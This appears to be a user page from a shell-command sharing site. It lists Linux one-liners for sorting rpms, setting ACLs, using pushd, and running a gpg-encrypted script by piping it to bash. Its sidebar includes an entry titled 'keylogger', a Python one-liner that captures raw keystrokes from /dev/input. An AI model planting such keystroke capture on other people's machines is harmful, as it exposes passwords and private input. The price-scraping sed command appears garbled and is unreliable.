Commands by betsubetsu

Commands by betsubetsu (7)

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How to execute and encrypted and password-protected bash script?

echo "ls" > script.bash; This is my script, a simple 'ls'. gpg -c script.bash; Here I encrypt and passord-protect my script. This creates file script.bash.gpg. cat script.bash.gpg | gpg -d --no-mdc-warning | bash Here I open file script.bash.gpg, decrypt it and execute it.
This is sample output - yours may be different.
-2

echo "ls" > script.bash; gpg -c script.bash; cat script.bash.gpg | gpg -d --no-mdc-warning | bash

betsubetsu · 2013-03-10 09:34:12 14

Sort installed rpms in alphabetic order with their size.

Show Sample Output

rpm -qa --qf "%-30{NAME} %-10{SIZE}\n" | sort -n | less

betsubetsu · 2010-04-14 07:30:37 7

Sort installed rpms by decreasing size.

It's all said in the title. Show Sample Output

rpm -qa --qf "%-10{SIZE} %-30{NAME}\n" | sort -nr | less

betsubetsu · 2010-04-14 07:28:41 4

Compare prices in euro of the HTC Desire on all the european websites of Expansys.

You think Expansys in all these countries will sell the HTC Desire for the same price? Well, you'll be surprised. Most of them will be sold at 499.99 EUR but the cheapest can be found in Germany and the most expensive, in Belgium.
This is sample output - yours may be different.
2

for i in be bg cz de es fi fr hu it lv lu at pl pt ro sk si ; do echo -n "$i " ; wget -q -O - http://www.expansys.$i/d.aspx?i=196165 | grep price | sed "s/.*<p id='price'><strong>€ $[0-9]*[,.][0-9]*$.*/\1/g"; done

betsubetsu · 2010-03-18 15:13:20 11
Set file access control lists

The file myfile is owned by tom and has read and write permissions for tom. Group and other permissions are empty which make myfile readable and writable only by tom. setfacl enables user tom to give read permission to user john only. The command 'ls -l' shows a '+' sign telling us that file access control list has been setup for myfile. Show Sample Output
This is sample output - yours may be different.
```
$ ls -l myfile
-rw------- 1 tom tom 248060 2009-02-15 14:02 myfile
$ getfacl myfile
# file: myfile
# owner: tom
# group: tom
user::rw-
group::---
other::---
$ setfacl -m u:john:r-- myfile
$ getfacl myfile
# file: myfile
# owner: tom
# group: tom
user::rw-
user:john:r--
group::---
mask::r-x
other::---
$ ls -l myfile
-rw-------+ 1 tom tom 248060 2009-02-15 14:02 myfile
```
3

setfacl -m u:john:r-- myfile

betsubetsu · 2009-02-21 21:05:45 9
Switch 2 characters on a command line.

If you typed 'sl', put the cursor on the 'l' and hit ctrl-t to get 'ls'.
This is sample output - yours may be different.
25

ctrl-t

betsubetsu · 2009-02-20 17:38:49 30
pushd rotates the stack so that the second directory comes at the top.

'pushd +1' is equivalent to 'pushd'. Can be 'pushd +3' or more generaly 'pushd +N'. Can also be 'pushd -N'. More description in 'man bash'. Show Sample Output
This is sample output - yours may be different.
```
$ dirs -v
 0  /etc
 1  /tmp
 2  ~
$ pushd +2
~ /etc /tmp
$ dirs -v
 0  ~
 1  /etc
 2  /tmp
$ dirs
/var /tmp ~ /etc
$ pushd -2
/tmp ~ /etc /var
```
1

pushd +2; pushd -2

betsubetsu · 2009-02-20 12:26:18 7

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Install pip with Proxy

Installs pip packages defining a proxy

Compare two CSV files, discarding any repeated lines

The value for the sort command's -k argument is the column in the CSV file to sort on. In this example, it sorts on the second column. You must use some form of the sort command in order for uniq to work properly.

print all except first collumn

Easily decode unix-time (funtion)

Get AWS temporary credentials ready to export based on a MFA virtual appliance

You might want to secure your AWS operations requiring to use a MFA token. But then to use API or tools, you need to pass credentials generated with a MFA token. This commands asks you for the MFA code and retrieves these credentials using AWS Cli. To print the exports, you can use: `awk '{ print "export AWS_ACCESS_KEY_ID=\"" $1 "\"\n" "export AWS_SECRET_ACCESS_KEY=\"" $2 "\"\n" "export AWS_SESSION_TOKEN=\"" $3 "\"" }'` You must adapt the command line to include: * $MFA_IDis ARN of the virtual MFA or serial number of the physical one * TTL for the credentials

send incoming audio to a Icecast server (giss.tv)

easy way to setup an "internet radio sation", pre-requisite, create an account at an icecast server, in this example, just created beforehand an account at giss.tv. Change the word password, with the respective real password you created at server. Make sure to have installed rec, oggnec, oggfwd and tee. I have a mixer connected at line in, so I can mix music and microphone. This also will produce a local recorded copy of the session, it will be called "streamdump.ogg"

keylogger

$python -c "DEV = '/dev/input/event4' #if event0 doesn't work, try event1 event2 etc fo = open(DEV) def interpret(keycode,state): if state == 0: print '%i up'%keycode if state == 1: print '%i down'%keycode if state == 2: print '%i repeat'%keycode while 1: line = fo.read(16) if ord(line[10]) != 0: keycode,state = line[10],line[12] interpret(ord(keycode),ord(state)) "

Lists all listening ports together with the PID of the associated process

Lists all opened sockets (not only listeners), no DNS resolution (so it's fast), the process id and the user holding the socket. Previous samples were limiting to TCP too, this also lists UDP listeners.

split a file by a specific number of lines

Splits the file "my_file" every 500 lines. Will create files called xx01 xx02 and so on. You can change the prefix by using the -f option. Comes in handy for splitting logfiles for example. I am using it for feeding a logfile parser with smaller files instead of one big file (due to performance reasons)

Find processes utilizing high memory in human readable format

Finding high memory usage report in human readable format.

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